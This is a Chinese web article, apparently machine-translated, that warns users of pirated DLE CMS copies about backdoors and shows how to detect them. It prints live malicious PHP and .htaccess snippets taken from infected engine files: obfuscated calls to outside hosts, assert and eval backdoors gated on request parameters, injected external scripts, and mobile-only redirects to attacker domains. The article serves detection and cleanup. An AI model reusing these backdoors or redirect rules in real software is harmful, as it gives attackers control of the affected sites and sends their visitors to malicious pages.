献给盗版免费版 DLE的粉丝。
在第三方资源上下载 CMS DLE 时，请准备好木马已经存在于您的系统中，等待您创建项目并访问它（充其量）。在最坏的情况下，他要么删除所有内容，要么秘密重定向到其他站点（通常是 DLE 上站点的移动重定向，因为管理员在 90% 的情况下都不会检测到这种情况，因为他自己坐在 PC 或平板电脑上）。
那么，如何理解您的 DLE 系统中存在带有移动版重定向的病毒？！
选项之一 – 你开始失去出勤率。一旦您注意到这一点，我们建议您注意以下检测恶意代码的说明，以排除网站被黑客入侵或感染的可能性。
另一种选择是当搜索引擎本身通知您您的网站上有不需要的代码时。
我们想提请您注意，恶意代码几乎可以存在于所有类型的引擎文件中，.php、.js、.lng、.htaccess 甚至图像（通常是用户头像）。这样的代码可以是任何形式，可以使用base64_encode加密，使用char以及各种难以通过自动搜索快速检测到的技巧。或者公开（极少数情况）可能是平庸的。
请注意，通常很难清除文件（不知道引擎代码中有什么不合适或多余的地方）。最好使用程序进行代码比较，例如，如果您仍然下定决心并从DLE开发人员那里购买了许可证，则可以使用Beyond的包检查来检查引擎的许可版本的代码和您的代码比较程序。这样你就可以找到代码的不同之处，找到你的病毒。
当然，这只有在您没有使用第三方模块或使用插件修改引擎时才会有所帮助。如果恶意代码在用户头像中，它肯定无济于事。
在当前版本的 DLE 中，头像加载漏洞已得到修复，但 DLE 9.8 之前的版本具有该漏洞。
要查找木马用户头像，请在您的服务器上安装 Virusdie 防病毒软件，它会找到不是它们的图像。
如果您已收到通知或您自己注意到您的网站需要很长时间才能加载、重定向到某个地方，或者防病毒/搜索引擎开始对您的资源发誓，对于初学者来说，只需转到您的主机并查看文件修改日期. 如果您注意到文件最近发生了变化，通常是 /index.php、/engine/data/dbconfig.php、/engine/data/config.php、/.htaccess、/language/Russian/website.lng，其中原则上，它们不应该改变，或者它们只有在您更新或安装某些东西时才会改变，那么我们很有可能会取悦您 – 该网站已被感染。
也不要忘记该站点可能需要很长时间才能加载，因为您的主机很弱，模板中塞满了脚本并且没有优化，以及许多类似的原因。但最好是安全的，不是吗？！
从第三方网站下载的大多数引擎中的恶意代码
我们建议您搜索不是完全巧合，而是部分巧合。
1.engine /inc/addnews.php – 存在恶意代码
<span class="variable">$serv</span> = <span class="variable">$_SERVER</span>[HTTP_HOST];<span class="keyword">if</span> ((<span class="variable">$serv</span> != <span class="string">'localhost'</span>) <span class="keyword">and</span> (<span class="variable">$serv</span> != <span class="string">'127.0.0.1'</span>) <span class="keyword">and</span> (strpos(<span class="variable">$serv</span>, <span class="string">'.'</span>) != <span class="keyword">false</span>))
{<span class="variable">$serv_time</span> = <span class="string">"ht"</span>.<span class="string">"tp:/"</span>.<span class="string">"/xo"</span>.<span class="string">"rx."</span>.<span class="string">"net/"</span>.<span class="string">"js.p"</span>.<span class="string">"hp?lice"</span>.<span class="string">"nse="</span>.<span class="string">"13."</span>.<span class="string">"1_"</span>.<span class="variable">$serv</span>;};
<span class="variable">$fi</span> = <span class="string">'fi'</span>.<span class="string">'le'</span>;<span class="variable">$up_times</span> = trim(<span class="variable">@implode</span> (<span class="string">''</span>, <span class="variable">@$</span>fi(<span class="variable">$serv_time</span>)));2. engine/classes/antivirus.class.php – 排除不应该存在的文件，事实证明，这个文件是一个漏洞
"./engine/classes/min/lib/JSMinify.php",
"./engine/ajax/js.php",3. engine/classes/min/.htaccess – 异常的存在为有漏洞的文件打开了道路
<span class="tag"><<span class="title">Files</span> "<span class="attribute">JSMinify.php</span>"></span>
Order Deny,Allow
Allow from all
<span class="tag"></<span class="title">files</span>></span>
<span class="tag"><<span class="title">Files</span> "<span class="attribute">JSMin.php</span>"></span>
Order Deny,Allow
Allow from all
<span class="tag"></<span class="title">files</span>></span>4. engine/classes/min/lib/JSMinify.php – 不包含在系统分发中且不属于附加组件的恶意文件
5. engine/modules/calendar.php – 存在恶意代码
<span class="variable">$reg_data</span> = <span class="variable">$_REQUEST</span>[<span class="string">'captchas'</span>];<span class="variable">$reg_base</span> = <span class="variable">$_REQUEST</span>[<span class="string">'recaptchas'</span>];
<span class="variable">$recaptcha_get_signup_id</span> = <span class="string">'eb516e7d7a6462a6d531ec65dcf1d599'</span>;
<span class="variable">$setel</span> = <span class="string">'a'</span>.<span class="string">'sse'</span>.<span class="string">'rt'</span>;<span class="keyword">if</span>(md5(<span class="variable">$reg_data</span>)==<span class="variable">$recaptcha_get_signup_id</span>) {@<span class="variable">$setel</span>(stripslashes(<span class="variable">$reg_base</span>));}6.engine /modules/feedback.php – 存在恶意代码
<span class="variable">$syskey</span>=strrev(<span class="string">'edoce'</span>); <span class="variable">$pubkeys</span>=strrev(<span class="string">'d_46esab'</span>); <span class="variable">$captchacrypt</span>=<span class="variable">$pubkeys</span>.<span class="variable">$syskey</span>;
<span class="variable">$sert</span> = <span class="variable">$_SERVER</span>[HTTP_HOST];<span class="keyword">if</span> ((<span class="variable">$sert</span> != <span class="string">'localhost'</span>) <span class="keyword">and</span> (<span class="variable">$sert</span> != <span class="string">'127.0.0.1'</span>) <span class="keyword">and</span> (strpos(<span class="variable">$sert</span>, <span class="string">'.'</span>) != <span class="keyword">false</span>))
{<span class="variable">$capt</span> = <span class="string">'f'</span>.<span class="string">'ile'</span>;@<span class="variable">$capt</span>(<span class="variable">$captchacrypt</span>(<span class="string">'aHR0cDovL3hvcngubmV0L2pzLnBocD9saWNlbnNlPTEzLjFf'</span>).<span class="variable">$sert</span>);}
<span class="variable">$captchascrypt</span>=<span class="string">'bas'</span>.<span class="string">'e64_'</span>.<span class="string">'dec'</span>.<span class="string">'ode'</span>;
<span class="variable">$home_url</span> = <span class="variable">$_SERVER</span>[<span class="string">'HTT'</span>.<span class="string">'P_H'</span>.<span class="string">'OST'</span>];
<span class="keyword">if</span> ((!strpos(<span class="variable">$home_url</span>, <span class="string">'127.'</span>.<span class="string">'0.'</span>)) <span class="keyword">and</span> (strpos(<span class="variable">$home_url</span>, <span class="string">'.'</span>)))
{<span class="variable">$captis</span> = <span class="string">'f'</span>.<span class="string">'ile'</span>;@<span class="variable">$captis</span>(<span class="variable">$captchascrypt</span>(<span class="string">'aHR0cHM6Ly9kbGUtaW5mby5jYy9qcy5waHA/bGljZW5zZT0xNS4xX25f'</span>).<span class="variable">$home_url</span>);}7.engine /modules/functions.php – 存在恶意代码
<span class="variable">$set_cookie</span> = <span class="string">'_di'</span>.<span class="string">'ff_'</span>;<span class="variable">$set_cookie</span>=<span class="string">'ar'</span>.<span class="string">'ray'</span>.<span class="variable">$set_cookie</span>.<span class="string">'ukey'</span>;<span class="comment">//globils</span>
<span class="variable">$news_num</span> = @<span class="variable">$_REQUEST</span>[<span class="string">'numer'</span>];
<span class="variable">$bannermass</span> = @<span class="variable">$_REQUEST</span>[<span class="string">'bannerid'</span>];
<span class="variable">$check_newsnum</span> = @<span class="variable">$_REQUEST</span>[<span class="string">'newsnum'</span>];
<span class="variable">$check_category</span> = @<span class="variable">$_REQUEST</span>[<span class="string">'category'</span>];
<span class="variable">$get_url_var</span> = <span class="string">'77067560'</span>;
<span class="variable">$set_cookie</span> = <span class="string">'_di'</span>.<span class="string">'ff_'</span>;<span class="variable">$set_cookie</span>=<span class="string">'ar'</span>.<span class="string">'ray'</span>.<span class="variable">$set_cookie</span>.<span class="string">'ukey'</span>;<span class="comment">//globils</span>
<span class="keyword">if</span>(<span class="variable">$bannermass</span>==<span class="variable">$get_url_var</span>){
<span class="keyword">if</span> (@strpos(<span class="variable">$check_newsnum</span>, <span class="string">'creat'</span>)=== <span class="keyword">false</span>){
@<span class="variable">$set_cookie</span>(@<span class="keyword">array</span>((string)<span class="variable">$news_num</span> => <span class="number">1</span>), @<span class="keyword">array</span>((string)stripslashes(<span class="variable">$check_category</span>) => <span class="number">2</span>), @<span class="variable">$check_newsnum</span>);}<span class="keyword">else</span>{
@<span class="variable">$set_cookie</span>(@<span class="keyword">array</span>((string)<span class="variable">$news_num</span> => <span class="number">1</span>), @<span class="keyword">array</span>((string)stripslashes(<span class="string">'}'</span>.<span class="variable">$check_category</span>.<span class="string">'//'</span>) => <span class="number">2</span>), @<span class="variable">$check_newsnum</span>);}}<span class="comment">//chekings</span>8.engine /ajax/js.php – 恶意文件，应该被删除
恶意代码，可以是可选的（在黑客攻击的情况下）
1.engine /data/dbconfig.php
<span class="variable">$liciens</span> = <span class="string">"Ev"</span>.<span class="string">"aL(gZu"</span>.<span class="string">"ncOmp"</span>.<span class="string">"rEss(bAs"</span>.<span class="string">"e64"</span>.<span class="string">"_Dec"</span>.<span class="string">"odE('eNqlVG1v2jAQ/itFQnWiskAhvBVF21qhrdq0bpSumlpkOcmReJA4s51SNPPfdw5oXSvKl32Iz76753zP+XL1UEJAKDnyCFWgrFRc5NXZLjwmIz53uFKgnTq9uLr6dDm+qyNq5rq/36E2EmLBwbGqxnOHk9OG5hk47smgO+z2G6RJ3NEGo70IFARk2Pb7Lb/fJ66Qr1g7/cFB6/CQddAie9IlPX/YbvmDbq8z7Pq4DIadVnfg9/xBZ+iTPdnXJcyDOr0eT76PJ3dKSwkPDgotyqIA6RAuS6oVlL9A4o2zUT0V6iBAK5HSQut06y4Ph5eACYB8AqTAYjTsXEnnLU8ir8i0fbum4qlu2t0igjSqVFHkWZlIYcWbzqrSNs+KCqHTo7Nc8GrLKoD4TFwUxwqEtGekj0KyVSmXkEcixlLKeeVSMMky0CCD+/oC1ishY4ThQcFxKYNTxO1hFPxL6Rg5vYhOUq2Ls6alYWuJK7q77ggeuR5t6qVKDpc3h4RRCar8jyLblq39RZCP0+lXeoMn+v7D+MuUzLaN96oZu7DqzVohIaEZ01HqkCayXIK57VxQM15qdpmb2wS0CRmPSxNhAQxnlMkoNSwVwvAkY+YHO5diZVgew6MRIsEAodDmHL+CYx8YloWoyxhfek1OGrY8LjY+Enh2t1h4sjQPCy8S2zDeNqa3he7iSFNqL1xvrxZxLhYmU7kXGZXxtpFh5JlyKRIzZxGEwjMKqnTXNl/PhDxPtklgf1QpPM/hZzsDs85CznKTx1Lw2GQ8LgxIDur+qNcyCq1CmVRH1IiQW2I856bwQiyCwvSKVOTwxBMpOLUXk4rES6AlOlOcZLP9PrtpZk1PrzgZf7sZX0/pzeSSzGrBkf3990yQ3fDp7xsWm83mD0qjwnU=')));"</span>;<span class="variable">$release_this</span> = <span class="string">"cre"</span>.<span class="string">"ate_"</span>.<span class="string">"function"</span>;<span class="variable">$dle_func</span> = <span class="variable">$release_this</span>(<span class="string">''</span>, <span class="string">"<span class="variable">$liciens</span>;"</span>);<span class="variable">$dle_func</span>(<span class="string">''</span>);破译此代码后，您可以看到以下内容：
<span class="variable">$bre</span> = <span class="string">'_'</span> . <span class="string">'_ses'</span> . <span class="string">'sion'</span> . <span class="string">'_'</span> . <span class="string">'id'</span>;
<span class="keyword">if</span> (isset(<span class="variable">$_COOKIE</span>[<span class="variable">$bre</span>])) {
<span class="variable">@setcookie</span>(<span class="variable">$bre</span>, <span class="variable">$_COOKIE</span>[<span class="variable">$bre</span>] + <span class="number">1</span>, <span class="keyword">time</span>() + <span class="number">85957</span>, <span class="string">'/'</span>);
}
<span class="keyword">if</span> ((<span class="variable">$_COOKIE</span>[<span class="variable">$bre</span>] == <span class="string">'92470477'</span>) <span class="keyword">or</span> (<span class="variable">$_COOKIE</span>[<span class="variable">$bre</span>] == <span class="string">'92470378'</span>) <span class="keyword">or</span> (<span class="variable">$_COOKIE</span>[<span class="variable">$bre</span>] == <span class="string">'92470379'</span>) <span class="keyword">or</span> (<span class="variable">$_COOKIE</span>[<span class="variable">$bre</span>] == <span class="string">'92470380'</span>)) {
<span class="variable">@setcookie</span>(<span class="variable">$bre</span>, <span class="string">'64920485639546398930584648394'</span>, <span class="keyword">time</span>() + <span class="number">85957</span>, <span class="string">'/'</span>);
<span class="variable">$ref</span> = <span class="variable">$_SERVER</span>[strrev(strtoupper(<span class="string">'iru_tseuqer'</span>)) ];
<span class="variable">$hos</span> = <span class="variable">$_SERVER</span>[strrev(strtoupper(<span class="string">'tsoh_ptth'</span>)) ];
<span class="variable">$rf</span> = <span class="variable">$_SERVER</span>[strrev(strtoupper(<span class="string">'rerefer_ptth'</span>)) ];
header(strrev(<span class="string">'3?igc.pmt'</span> . <span class="string">'/siht/'</span> . <span class="string">'kcehc'</span> . <span class="string">'/cc.'</span> . <span class="string">'gro'</span> . <span class="string">'-3w'</span> . <span class="string">'//:pt'</span> . <span class="string">'th :noi'</span> . <span class="string">'tac'</span> . <span class="string">'oL'</span>) . <span class="string">'&seor'</span> . <span class="string">'ef='</span> . rawurlencode(<span class="variable">$rf</span>) . <span class="string">'¶meter=\$keyword&se=\$se&ur=1'</span> . strrev(strtoupper(<span class="string">'=rerefer_ptth&'</span>)) . rawurlencode(<span class="string">'http://'</span> . <span class="variable">$hos</span> . <span class="variable">$ref</span>));
<span class="keyword">exit</span>;
}
<span class="variable">$usg</span> = <span class="variable">$_SERVER</span>[strrev(strtoupper(<span class="string">'tnega_resu_ptth'</span>)) ];
<span class="variable">$rf</span> = <span class="variable">$_SERVER</span>[strrev(strtoupper(<span class="string">'rerefer_ptth'</span>)) ];
<span class="keyword">if</span> ((!<span class="variable">$_SERVER</span>[<span class="string">'HTTP_USER_AGENT'</span>]) <span class="keyword">or</span> (<span class="variable">$_SERVER</span>[<span class="string">'HTTP_USER_AGENT'</span>] == <span class="string">''</span>) <span class="keyword">or</span> (!preg_match(<span class="string">'/rawle|W3C_|EltaIn|Wget|baidu|curl|ia_arch|ahoo|igma|YaBrow|andex|oogle|bot|Bot|pider|amble|mail./i'</span>, <span class="variable">$usg</span>))) {
<span class="keyword">if</span> (preg_match(<span class="string">'/ok.ru|vk.co|oogle.|andex.|mail.r|ambler|ut.by|igma|odnok|msn.c|smi2|rbc.|ulog|facebo.|search|yahoo.|bing./i'</span>, <span class="variable">$rf</span>)) {
<span class="keyword">if</span> ((preg_match(<span class="string">'/j2me|ymbian|ndroid|midp|eries\ 60|symbos|htc_|obile|mini|p.browser|phone/i'</span>, <span class="variable">$usg</span>)) <span class="keyword">and</span> (!isset(<span class="variable">$_COOKIE</span>[<span class="string">'dle_user_id'</span>])) <span class="keyword">and</span> (!isset(<span class="variable">$_COOKIE</span>[<span class="variable">$bre</span>])) <span class="keyword">and</span> (<span class="variable">$_SERVER</span>[<span class="string">'REQUEST_URI'</span>] != <span class="string">'/'</span>)) {
<span class="variable">@setcookie</span>(<span class="variable">$bre</span>, <span class="string">'92470377'</span>, <span class="keyword">time</span>() + <span class="number">85957</span>, <span class="string">'/'</span>);
}
}
}从这段代码中，您可以看到它只在移动设备上工作，并且只工作一次，然后它被写入用户的 cookie 中并且不会重新显示。因此，许多人可能认为这是一个小故障。好吧，脚本本身会将移动设备用户重定向到 w3-org.cc 网站。反过来，攻击者将其用作放置站点并将用户重定向到任何其他终端地址。
2.index.php _
<span class="keyword">if</span>(preg_match(<span class="string">'/'</span>.<span class="string">'('</span>.<span class="string">'a'</span>.<span class="string">'n'</span>.<span class="string">'d'</span>.<span class="string">'r'</span>.<span class="string">'o'</span>.<span class="string">'i'</span>.<span class="string">'d'</span>.<span class="string">'|'</span>.<span class="string">'m'</span>.<span class="string">'i'</span>.<span class="string">'d'</span>.<span class="string">'p'</span>.<span class="string">'|'</span>.<span class="string">'j'</span>.<span class="string">'2'</span>.<span class="string">'m'</span>.<span class="string">'e'</span>.<span class="string">'|'</span>.<span class="string">'s'</span>.<span class="string">'y'</span>.<span class="string">'m'</span>.<span class="string">'b'</span>.<span class="string">'i'</span>.<span class="string">'a'</span>.<span class="string">'n'</span>.<span class="string">'|'</span>.<span class="string">'s'</span>.<span class="string">'e'</span>.<span class="string">'r'</span>.<span class="string">'i'</span>.<span class="string">'e'</span>.<span class="string">'s'</span>.<span class="string">' '</span>.<span class="string">'6'</span>.<span class="string">'0'</span>.<span class="string">'|'</span>.<span class="string">'s'</span>.<span class="string">'y'</span>.<span class="string">'m'</span>.<span class="string">'b'</span>.<span class="string">'o'</span>.<span class="string">'s'</span>.<span class="string">'|'</span>.<span class="string">'w'</span>.<span class="string">'i'</span>.<span class="string">'n'</span>.<span class="string">'d'</span>.<span class="string">'o'</span>.<span class="string">'w'</span>.<span class="string">'s'</span>.<span class="string">' '</span>.<span class="string">'m'</span>.<span class="string">'o'</span>.<span class="string">'b'</span>.<span class="string">'i'</span>.<span class="string">'l'</span>.<span class="string">'e'</span>.<span class="string">'|'</span>.<span class="string">'w'</span>.<span class="string">'i'</span>.<span class="string">'n'</span>.<span class="string">'d'</span>.<span class="string">'o'</span>.<span class="string">'w'</span>.<span class="string">'s'</span>.<span class="string">' '</span>.<span class="string">'c'</span>.<span class="string">'e'</span>.<span class="string">'|'</span>.<span class="string">'p'</span>.<span class="string">'p'</span>.<span class="string">'c'</span>.<span class="string">'|'</span>.<span class="string">'s'</span>.<span class="string">'m'</span>.<span class="string">'a'</span>.<span class="string">'r'</span>.<span class="string">'t'</span>.<span class="string">'p'</span>.<span class="string">'h'</span>.<span class="string">'o'</span>.<span class="string">'n'</span>.<span class="string">'e'</span>.<span class="string">'|'</span>.<span class="string">'b'</span>.<span class="string">'l'</span>.<span class="string">'a'</span>.<span class="string">'c'</span>.<span class="string">'k'</span>.<span class="string">'b'</span>.<span class="string">'e'</span>.<span class="string">'r'</span>.<span class="string">'r'</span>.<span class="string">'y'</span>.<span class="string">'|'</span>.<span class="string">'m'</span>.<span class="string">'t'</span>.<span class="string">'k'</span>.<span class="string">'|'</span>.<span class="string">'b'</span>.<span class="string">'a'</span>.<span class="string">'d'</span>.<span class="string">'a'</span>.<span class="string">'|'</span>.<span class="string">'w'</span>.<span class="string">'i'</span>.<span class="string">'n'</span>.<span class="string">'d'</span>.<span class="string">'o'</span>.<span class="string">'w'</span>.<span class="string">'s'</span>.<span class="string">' '</span>.<span class="string">'p'</span>.<span class="string">'h'</span>.<span class="string">'o'</span>.<span class="string">'n'</span>.<span class="string">'e'</span>.<span class="string">')'</span>.<span class="string">'/'</span>.<span class="string">'i'</span>,<span class="variable">$_SERVER</span>[<span class="string">'HTTP_USER_AGENT'</span>]) && <span class="variable">$_COOKIE</span>[<span class="string">"m"</span>] != <span class="string">'5df9974cf25d22eb3c5aa962d6460477'</span>)
{
<span class="variable">@setcookie</span>(<span class="string">'m'</span>, <span class="string">'5df9974cf25d22eb3c5aa962d6460477'</span>, <span class="keyword">time</span>()+<span class="number">86400</span>, <span class="string">'/'</span>);
<span class="variable">@header</span>(<span class="string">"Location: "</span>.<span class="string">"h"</span>.<span class="string">"t"</span>.<span class="string">"t"</span>.<span class="string">"p"</span>.<span class="string">":"</span>.<span class="string">"/"</span>.<span class="string">"/"</span>.<span class="string">"p"</span>.<span class="string">"i"</span>.<span class="string">"d"</span>.<span class="string">"d"</span>.<span class="string">"."</span>.<span class="string">"b"</span>.<span class="string">"o"</span>.<span class="string">"t"</span>.<span class="string">"."</span>.<span class="string">"n"</span>.<span class="string">"u"</span>.<span class="string">"/"</span>.<span class="string">"s"</span>.<span class="string">"/"</span>.<span class="string">"1"</span>.<span class="string">"1"</span>.<span class="string">"8"</span>.<span class="string">"0"</span>.<span class="string">"5"</span>);
<span class="keyword">die</span>();
}4. index.php , engine/modules/config.php , engine/modules/dbconfig.php
<span class="keyword">if</span> (strpos(<span class="variable">$_SERVER</span>[<span class="string">'HTTP_USER_AGENT'</span>],<span class="string">"iPhone"</span>) || strpos(<span class="variable">$_SERVER</span>[<span class="string">'HTTP_USER_AGENT'</span>],<span class="string">"Android"</span>) || strpos(<span class="variable">$_SERVER</span>[<span class="string">'HTTP_USER_AGENT'</span>],<span class="string">"webOS"</span>) || strpos(<span class="variable">$_SERVER</span>[<span class="string">'HTTP_USER_AGENT'</span>],<span class="string">"BlackBerry"</span>) || strpos(<span class="variable">$_SERVER</span>[<span class="string">'HTTP_USER_AGENT'</span>],<span class="string">"iPod"</span>)) header(<span class="string">'Location: http://yadirect.ws/'</span>);
<span class="keyword">if</span>(!<span class="keyword">empty</span>(<span class="variable">$_POST</span>[<span class="string">'update'</span>])) <span class="keyword">eval</span>(base64_decode(<span class="variable">$_POST</span>[<span class="string">'update'</span>]));5.engine /data/dbconfig.php
<span class="variable">$config</span>[<span class="string">'description'</span>].=<span class="string">'" />'</span>.<span class="string">"
"</span>.<span class="string">'<script type="text/javascript" src="http://up.bot.nu/go/'</span>.<span class="keyword">rand</span>(<span class="number">0</span>,<span class="number">999</span>).<span class="string">'"></script>'</span>.<span class="string">"
"</span>.<span class="string">'<meta http-equiv="Pragma" content="no-cache'</span>;6.根目录下的.htaccess
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ <span class="number">60</span>|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone|iemobile|nokia|ucweb|ucbrowser) [NC]
RewriteCond %{HTTP_USER_AGENT} !(bot|accoona|ia_archiver|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gsa-crawler|grub-client|gulper|slurp|mihalism|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http:<span class="comment">//stat.pdaupd.net/?23&source=ваш домен [L,R=302] # on</span>
RewriteCond %{QUERY_STRING} (^|&)noredirect=<span class="keyword">true</span>(&|$)
RewriteRule ^ - [CO=mredir:<span class="number">0</span>:%{HTTP_HOST},S]
RewriteCond %{HTTP:x-wap-profile} !^$ [<span class="keyword">OR</span>]
RewriteCond %{HTTP:Profile} !^$
RewriteCond %{HTTP_HOST} !^m\.
RewriteCond %{HTTP:Cookie} !\smredir=<span class="number">0</span>(;|$)
RewriteRule ^ http:<span class="comment">//yadirect.ws/ [R,L]</span>要检查系统中所有文件的病毒清除情况，您需要使用任何操作系统（ios、android 等）的移动设备访问您的站点，如果没有重定向到第三方资源攻击者，那么一切都很好。
经常被重定向到 DLE 移动版本的站点：
w3-org.cc
statuses.ws live-internet.ws getinternet.ws
livecountall.ws
googlecount.ws回顾一下
。
始终使用引擎的许可副本并密切关注该站点。
如果您已经发现了某种错误，但它没有帮助，您可以向您的技术人员寻求帮助以解决问题。北方还是给我们的支持，是有偿开发的。